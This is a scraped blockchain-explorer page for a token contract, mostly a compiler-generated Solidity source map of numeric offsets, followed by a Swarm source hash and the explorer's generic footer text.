;;15726:3;15713:10;;15704:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;15695:34;;15633:193;;;15809:3;15797:9;;15788:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;15779:33;;15633:193;15851:10;;-1:-1:-1;;;15851:10:0;;;;:28;;;;-1:-1:-1;15866:13:0;;-1:-1:-1;;;15866:13:0;;;;15865:14;15851:28;:49;;;;-1:-1:-1;15893:7:0;;-1:-1:-1;;;;;15883:17:0;;;15893:7;;15883:17;;15851:49;:77;;;;;15927:1;15918:6;:10;15851:77;15847:130;;;15955:10;:8;:10::i;:::-;15990;;15987:219;;16017:46;16033:6;16049:4;16056:6;16017:15;:46::i;:::-;16065:54;16081:6;16089:9;16100:18;:6;16111;16100:10;:18::i;:::-;16065:15;:54::i;:::-;15987:219;;;16152:42;16168:6;16176:9;16187:6;16152:15;:42::i;:::-;14512:1701;14424:1789;;;:::o;12280:173::-;12355:6;;;-1:-1:-1;;;;;12372:17:0;;;-1:-1:-1;;;;;;12372:17:0;;;;;;;12405:40;;12355:6;;;12372:17;12355:6;;12405:40;;12336:16;;12405:40;12325:128;12280:173;:::o;5176:315::-;5291:6;5266:21;:31;;5258:73;;;;-1:-1:-1;;;5258:73:0;;10754:2:1;5258:73:0;;;10736:21:1;10793:2;10773:18;;;10766:30;10832:31;10812:18;;;10805:59;10881:18;;5258:73:0;10552:353:1;5258:73:0;5343:12;5361:9;-1:-1:-1;;;;;5361:14:0;5383:6;5361:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5342:52;;;5413:7;5405:78;;;;-1:-1:-1;;;5405:78:0;;11322:2:1;5405:78:0;;;11304:21:1;11361:2;11341:18;;;11334:30;11400:34;11380:18;;;11373:62;11471:28;11451:18;;;11444:56;11517:19;;5405:78:0;11120:422:1;16384:420:0;16467:4;16423:23;7417:18;;;;;;;;;;;16507:11;;16488:30;;16484:313;;16566:21;16608:32;16624:15;16608;:32::i;:::-;16661:20;16684:38;16708:14;16684:21;:38;:::i;:::-;16747:11;;16661:61;;-1:-1:-1;16739:44:0;;-1:-1:-1;;;;;16747:11:0;16661:61;16739:30;:44::i;8621:544::-;-1:-1:-1;;;;;8727:20:0;;8719:70;;;;-1:-1:-1;;;8719:70:0;;11749:2:1;8719:70:0;;;11731:21:1;11788:2;11768:18;;;11761:30;11827:34;11807:18;;;11800:62;-1:-1:-1;;;11878:18:1;;;11871:35;11923:19;;8719:70:0;11547:401:1;8719:70:0;-1:-1:-1;;;;;8808:23:0;;8800:71;;;;-1:-1:-1;;;8800:71:0;;12155:2:1;8800:71:0;;;12137:21:1;12194:2;12174:18;;;12167:30;12233:34;12213:18;;;12206:62;-1:-1:-1;;;12284:18:1;;;12277:33;12327:19;;8800:71:0;11953:399:1;8800:71:0;-1:-1:-1;;;;;8908:17:0;;8884:21;8908:17;;;;;;;;;;;8944:23;;;;8936:74;;;;-1:-1:-1;;;8936:74:0;;12559:2:1;8936:74:0;;;12541:21:1;12598:2;12578:18;;;12571:30;12637:34;12617:18;;;12610:62;-1:-1:-1;;;12688:18:1;;;12681:36;12734:19;;8936:74:0;12357:402:1;8936:74:0;9041:22;9057:6;9041:13;:22;:::i;:::-;-1:-1:-1;;;;;9021:17:0;;;:9;:17;;;;;;;;;;;:42;;;;9074:20;;;;;;;;:30;;9098:6;;9021:9;9074:30;;9098:6;;9074:30;:::i;:::-;;;;;;;;9139:9;-1:-1:-1;;;;;9122:35:0;9131:6;-1:-1:-1;;;;;9122:35:0;;9150:6;9122:35;;;;1708:25:1;;1696:2;1681:18;;1562:177;9122:35:0;;;;;;;;8708:457;8621:544;;;:::o;1092:136::-;1150:7;1177:43;1181:1;1184;1177:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1170:50;1092:136;-1:-1:-1;;;1092:136:0:o;16998:416::-;17087:16;;;17101:1;17087:16;;;;;;;;17063:21;;17087:16;;;;;;;;;;-1:-1:-1;17087:16:0;17063:40;;17132:4;17114;17119:1;17114:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17114:23:0;;;:7;;;;;;;;;;:23;;;;17158:13;;:20;;;-1:-1:-1;;;17158:20:0;;;;:13;;;;;:18;;:20;;;;;17114:7;;17158:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17148:4;17153:1;17148:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17148:30:0;;;:7;;;;;;;;;:30;17221:13;;17189:60;;17206:4;;17221:13;17237:11;17189:8;:60::i;:::-;17288:13;;:118;;-1:-1:-1;;;17288:118:0;;-1:-1:-1;;;;;17288:13:0;;;;:64;;:118;;17353:11;;17288:13;;17369:4;;17383;;17390:15;;17288:118;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17052:362;16998:416;:::o;1531:181::-;1617:7;1653:12;1645:6;;;;1637:29;;;;-1:-1:-1;;;1637:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1668:9:0;1680:5;1684:1;1680;:5;:::i;:::-;1668:17;1531:181;-1:-1:-1;;;;;1531:181:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1744:456::-;1821:6;1829;1837;1890:2;1878:9;1869:7;1865:23;1861:32;1858:52;;;1906:1;1903;1896:12;1858:52;1945:9;1932:23;1964:31;1989:5;1964:31;:::i;:::-;2014:5;-1:-1:-1;2071:2:1;2056:18;;2043:32;2084:33;2043:32;2084:33;:::i;:::-;1744:456;;2136:7;;-1:-1:-1;;;2190:2:1;2175:18;;;;2162:32;;1744:456::o;2394:247::-;2453:6;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;2869:127::-;2930:10;2925:3;2921:20;2918:1;2911:31;2961:4;2958:1;2951:15;2985:4;2982:1;2975:15;3001:1121;3085:6;3116:2;3159;3147:9;3138:7;3134:23;3130:32;3127:52;;;3175:1;3172;3165:12;3127:52;3215:9;3202:23;3244:18;3285:2;3277:6;3274:14;3271:34;;;3301:1;3298;3291:12;3271:34;3339:6;3328:9;3324:22;3314:32;;3384:7;3377:4;3373:2;3369:13;3365:27;3355:55;;3406:1;3403;3396:12;3355:55;3442:2;3429:16;3464:2;3460;3457:10;3454:36;;;3470:18;;:::i;:::-;3516:2;3513:1;3509:10;3548:2;3542:9;3611:2;3607:7;3602:2;3598;3594:11;3590:25;3582:6;3578:38;3666:6;3654:10;3651:22;3646:2;3634:10;3631:18;3628:46;3625:72;;;3677:18;;:::i;:::-;3713:2;3706:22;3763:18;;;3797:15;;;;-1:-1:-1;3839:11:1;;;3835:20;;;3867:19;;;3864:39;;;3899:1;3896;3889:12;3864:39;3923:11;;;;3943:148;3959:6;3954:3;3951:15;3943:148;;;4025:23;4044:3;4025:23;:::i;:::-;4013:36;;3976:12;;;;4069;;;;3943:148;;;4110:6;3001:1121;-1:-1:-1;;;;;;;;3001:1121:1:o;4127:388::-;4195:6;4203;4256:2;4244:9;4235:7;4231:23;4227:32;4224:52;;;4272:1;4269;4262:12;4224:52;4311:9;4298:23;4330:31;4355:5;4330:31;:::i;:::-;4380:5;-1:-1:-1;4437:2:1;4422:18;;4409:32;4450:33;4409:32;4450:33;:::i;:::-;4502:7;4492:17;;;4127:388;;;;;:::o;4520:180::-;4579:6;4632:2;4620:9;4611:7;4607:23;4603:32;4600:52;;;4648:1;4645;4638:12;4600:52;-1:-1:-1;4671:23:1;;4520:180;-1:-1:-1;4520:180:1:o;4705:356::-;4907:2;4889:21;;;4926:18;;;4919:30;4985:34;4980:2;4965:18;;4958:62;5052:2;5037:18;;4705:356::o;5066:380::-;5145:1;5141:12;;;;5188;;;5209:61;;5263:4;5255:6;5251:17;5241:27;;5209:61;5316:2;5308:6;5305:14;5285:18;5282:38;5279:161;;5362:10;5357:3;5353:20;5350:1;5343:31;5397:4;5394:1;5387:15;5425:4;5422:1;5415:15;5279:161;;5066:380;;;:::o;5860:127::-;5921:10;5916:3;5912:20;5909:1;5902:31;5952:4;5949:1;5942:15;5976:4;5973:1;5966:15;5992:128;6059:9;;;6080:11;;;6077:37;;;6094:18;;:::i;6125:125::-;6190:9;;;6211:10;;;6208:36;;;6224:18;;:::i;6255:127::-;6316:10;6311:3;6307:20;6304:1;6297:31;6347:4;6344:1;6337:15;6371:4;6368:1;6361:15;6387:135;6426:3;6447:17;;;6444:43;;6467:18;;:::i;:::-;-1:-1:-1;6514:1:1;6503:13;;6387:135::o;6806:277::-;6873:6;6926:2;6914:9;6905:7;6901:23;6897:32;6894:52;;;6942:1;6939;6932:12;6894:52;6974:9;6968:16;7027:5;7020:13;7013:21;7006:5;7003:32;6993:60;;7049:1;7046;7039:12;7494:168;7567:9;;;7598;;7615:15;;;7609:22;;7595:37;7585:71;;7636:18;;:::i;10330:217::-;10370:1;10396;10386:132;;10440:10;10435:3;10431:20;10428:1;10421:31;10475:4;10472:1;10465:15;10503:4;10500:1;10493:15;10386:132;-1:-1:-1;10532:9:1;;10330:217::o;12764:251::-;12834:6;12887:2;12875:9;12866:7;12862:23;12858:32;12855:52;;;12903:1;12900;12893:12;12855:52;12935:9;12929:16;12954:31;12979:5;12954:31;:::i;13020:980::-;13282:4;13330:3;13319:9;13315:19;13361:6;13350:9;13343:25;13387:2;13425:6;13420:2;13409:9;13405:18;13398:34;13468:3;13463:2;13452:9;13448:18;13441:31;13492:6;13527;13521:13;13558:6;13550;13543:22;13596:3;13585:9;13581:19;13574:26;;13635:2;13627:6;13623:15;13609:29;;13656:1;13666:195;13680:6;13677:1;13674:13;13666:195;;;13745:13;;-1:-1:-1;;;;;13741:39:1;13729:52;;13836:15;;;;13801:12;;;;13777:1;13695:9;13666:195;;;-1:-1:-1;;;;;;;13917:32:1;;;;13912:2;13897:18;;13890:60;-1:-1:-1;;;13981:3:1;13966:19;13959:35;13878:3;13020:980;-1:-1:-1;;;13020:980:1:o

Swarm Source

ipfs://5c0bfba91184952e5bc5d5f685d3e872406473f4a0f507fc0b244d94e8e747c9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.